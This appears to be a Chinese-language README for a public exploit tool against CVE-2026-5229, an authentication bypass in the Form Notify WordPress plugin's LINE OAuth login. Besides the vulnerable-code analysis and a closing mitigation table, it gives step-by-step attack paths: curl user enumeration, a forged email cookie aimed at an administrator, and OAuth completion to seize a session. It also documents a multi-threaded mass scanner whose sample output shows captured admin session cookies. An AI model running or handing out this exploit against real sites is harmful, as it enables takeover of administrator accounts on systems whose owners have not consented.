CVE-2026-5229: 通过 LINE OAuth 回调的 Form Notify 认证绕过 (CVSS 9.8)
插件: Form Notify (
form-notify) 漏洞类型: Unauthenticated LINE OAuth Authentication Bypass → Account Takeover CVSS 分数: 9.8 (严重) CVSS 向量:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H受影响版本: <= 1.1.10 补丁版本: 1.1.11+ 研究人员: Paolo Tresso — Wordfence
Form Notify 插件是一个在表单提交后发送通知,并提供 LINE Login OAuth 2.0 集成的 WordPress 插件。
漏洞存在于 LINE OAuth 回调处理器中。用户完成 LINE 授权流程后,插件仅根据邮箱地址解析 WordPress 账户。 它从不检查该 LINE 账户是否之前已关联到该 WordPress 账户。
| 版本 | 漏洞 | 攻击方法 |
|---|---|---|
| <= 1.1.08 | Cookie 注入 + 邮箱匹配 | Path A 或 Path B |
| 1.1.09 – 1.1.10 | 邮箱匹配 (cookie 已移除) | Path B |
| 1.1.11+ | 已修补 | — |
LINE OAuth 回调端点完全注册为公开:
// src/APIs/Line/Login/Route.php
register_rest_route(
'form-notify/v1',
'/callback',
array(
'methods' => 'GET',
'callback' => array( $this, 'get_api_callback' ),
'permission_callback' => function () {
return true; // 无需身份验证
},
)
);
WordPress nonce 是 CSRF token,而非身份验证 token。 每个访客都可以从页面 HTML 中获取有效的 nonce 并通过验证检查。
// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email = $has_real_email ? $user->email : $user_raw_id . '@line.com';
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
$this->user = get_user_by( 'email', $user_email ); // 仅通过邮箱搜索
if ( ! is_wp_error( $this->user ) && $this->user ) {
return true; // 无关联性检查
}
return false;
}
如果找到匹配项,login() 方法会立即建立会话:
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
if ( ! is_user_logged_in() ) {
wp_clear_auth_cookie();
wp_set_current_user( $this->user->ID );
wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
}
}
// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
$line_email = sanitize_text_field(
wp_unslash( $_COOKIE['form_notify_line_email'] )
);
}
$user_email = ( $user->email ) ? $user->email : $line_email;
当 LINE 配置文件未返回邮箱时($user->email 为空),
插件直接读取浏览器 cookie。攻击者完全控制此 cookie。
$session_state = get_transient( 'form_notify_line_state_' . $state );
if ( empty( $session_state ) ) {
// 如果 Transient 不存在,则回退到 $_SESSION
$session_state = sanitize_text_field(
wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
);
set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}
如果 Transient 过期,会启用 $_SESSION 回退。在大多数
WordPress 安装中,此时 $_SESSION 为空 → 可绕过 state 检查。
// sign_up() 方法
$userdata = array(
'user_pass' => $user_email, // 密码 = 邮箱地址
...
);
通过 LINE OAuth 流程创建的账户,密码与邮箱地址相同。 这直接允许暴力破解或登录攻击。
⚠️ 免责声明: 此 PoC 仅用于教育和授权安全测试。未经明确许可对系统进行测试是非法的。
先决条件:
TARGET="https://target.com"
# 从 WordPress REST API 获取用户列表
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool
# 或通过作者页面
curl -s "$TARGET/?author=1" -I | grep Location
打开浏览器开发者工具并粘贴到控制台:
document.cookie = "[email protected]; path=/";
或使用 curl:
curl -v -b '[email protected]' \
"$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location
在浏览器中打开 Location header 中的 LINE OAuth URL。
在 LINE 同意屏幕上 不要提供 邮箱权限,或使用无邮箱的 LINE 账户。 LINE 会在没有邮箱的情况下重定向到回调。插件回退到 cookie。
curl -s -b 'wordpress_logged_in_XXXX=...' \
"$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool
预期响应:
{
"id": 1,
"name": "admin",
"email": "[email protected]",
"roles": ["administrator"]
}
与 Path A 第 1 步相同。
在 account.line.biz 使用目标邮箱创建 LINE 账户。
(需要邮箱验证 — 必须能访问目标收件箱。)
https://target.com/wp-json/form-notify/v1/login
在 LINE 同意屏幕上提供邮箱权限。 LINE 将邮箱地址返回给回调。
Plugin: is_member('[email protected]')
→ get_user_by('email', '[email protected]')
→ 找到 Administrator
→ wp_set_auth_cookie(1)
→ 登录成功 ✓
git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt
requirements.txt
requests
python form_notify_rce.py -u http://hedef.com
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path A
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path B
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path both
python form_notify_rce.py -l targets.txt -t 15 -o sonuclar.txt
python form_notify_rce.py -u http://hedef.com \
--proxy http://127.0.0.1:8080
[*] 3 个目标 | Form Notify LINE OAuth Bypass | threads=10
[★ AUTH OK ] http://hedef1.com (Path A)
目标邮箱 : [email protected]
版本 : 1.1.08
OAuth URL : https://access.line.me/oauth2/v2.1/authorize?...
用户 : admin <[email protected]> roles=['administrator']
Cookie : {'wordpress_logged_in_abc123': 'admin|...'}
[~ MANUAL ] http://hedef2.com (Path A — 手动完成)
目标邮箱 : [email protected]
Cookie 设置 : [email protected]
OAuth URL : https://access.line.me/oauth2/v2.1/authorize?...
State : a1b2c3d4e5f6
[- NO_LINE ] http://hedef3.com (LINE Login 未激活)
──────────────────────────────────────────────────────────────
已完成 : 2
NO_LINE : 1
──────────────────────────────────────────────────────────────
Auth bypass → auth_bypass.txt
──────────────────────────────────────────────────────────────
安全的账户解析示例:
// 不安全 (当前)
$user = get_user_by( 'email', $line_email );
// 安全 (推荐)
$users = get_users( array(
'meta_key' => 'line_user_id',
'meta_value' => $line_user_id, // 使用 LINE ID 匹配
) );
form-notify-bypass/
├── form_notify_rce.py # 主扫描器
├── requirements.txt # 依赖项
└── README.md # 本文件
此工具和 PoC 仅用于授权系统、教育目的以及渗透测试范畴。 在未经授权的系统上使用违反土耳其刑法第 243-245 条以及 国际网络犯罪法律,构成犯罪行为。 开发者不对工具的滥用承担任何法律责任。
MIT License — 仅限教育和研究用途。
| 原因 | 说明 |
|---|
| 无需身份验证 | 回调端点完全公开 |
| 无关联性检查 | 任意 LINE 账户即足够 |
| Cookie 攻击 | <= 1.1.08 时甚至不需要邮箱 |
| 包括管理员在内的所有账户 | get_user_by('email') 影响所有人 |
| 弱 state 检查 | CSRF 保护可被绕过 |
| 邮箱 = 密码 | 通过 OAuth 创建的账户易受简单暴力破解攻击 |
| 参数 | 缩写 | 说明 | 默认值 |
|---|
--url | -u | 单个目标 URL | — |
--list | -l | 目标列表文件 | — |
--threads | -t | 线程数 | 10 |
--output | -o | 输出文件 | auth_bypass.txt |
--email | — | 目标用户邮箱 | 自动发现 |
--path | — | 攻击路径 (A / B / both) | both |
--max-users | — | 每个目标最大用户数 | 5 |
--proxy | — | 代理 URL | — |
--timeout | — | 请求超时 (秒) | 10 |
| 状态 | 说明 |
|---|
★ AUTH OK | 已获取会话 cookie — 完全自动化 |
★ WP-ADMIN | 已重定向到 /wp-admin |
~ MANUAL | OAuth URL 就绪,请在浏览器中完成 |
~ PATH B | 使用 LINE 账户手动步骤 |
- NO_PLUGIN | Form Notify 未安装 |
- NO_LINE | LINE Login 未激活 |
~ NO_TARGET | 未找到用户邮箱 |
~ UNREACH | 无法访问目标 |
| 措施 | 实现 |
|---|
| 插件更新 | 升级 Form Notify 至 1.1.11+ 版本 |
| LINE 关联性检查 | 将 LINE ID 保存至用户元数据,每次登录时验证 |
| 移除 Cookie 回退 | 删除 $_COOKIE['form_notify_line_email'] 的使用 |
| State 验证 | 移除 Transient 回退,拒绝过期的 state |
| 密码策略 | 不在 sign_up() 中将邮箱作为密码使用 |
| REST 端点保护 | 对回调端点实施速率限制 |